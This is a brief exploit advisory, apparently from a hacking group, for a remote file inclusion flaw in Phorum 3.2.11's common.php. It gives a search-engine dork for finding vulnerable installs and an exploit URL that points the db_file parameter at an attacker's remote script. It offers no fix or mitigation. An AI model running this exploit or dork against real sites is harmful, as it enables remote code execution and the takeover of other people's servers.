Phorum <= 3.2.11 (common.php) Remote File Include Vulnerability

===========================================================<br /> Yee7TeaM<br /> <br /> WwW.Yee7.CoM<br /> ===========================================================<br /> <br /> Software: Phorum v3.2.11<br /> <br /> Vendor: http://www.phorum.org/<br /> <br /> Download: http://skrypty.webpc.pl/pobierz274.html<br /> <br /> Dork: "Copyright (C) 2000 Phorum Development Team" and back form doc<br /> folder :)<br /> <br /> Description:<br /> <br /> Line 31 of common.php<br /> <br /> ><br /> >> // $db_file = './db/postgresql65.php';<br /> ><br /> <br /> Exploit: http://[localhost]/[paTh]/common.php?db_file=[Ev!lScript]<br /> <br /> <br /> ===========================================================<br /> By: Mr-m07<br /> Thanx To: ShockShadow & AL-SHIKH<br /> WwW.Yee7.CoM<br /> ===========================================================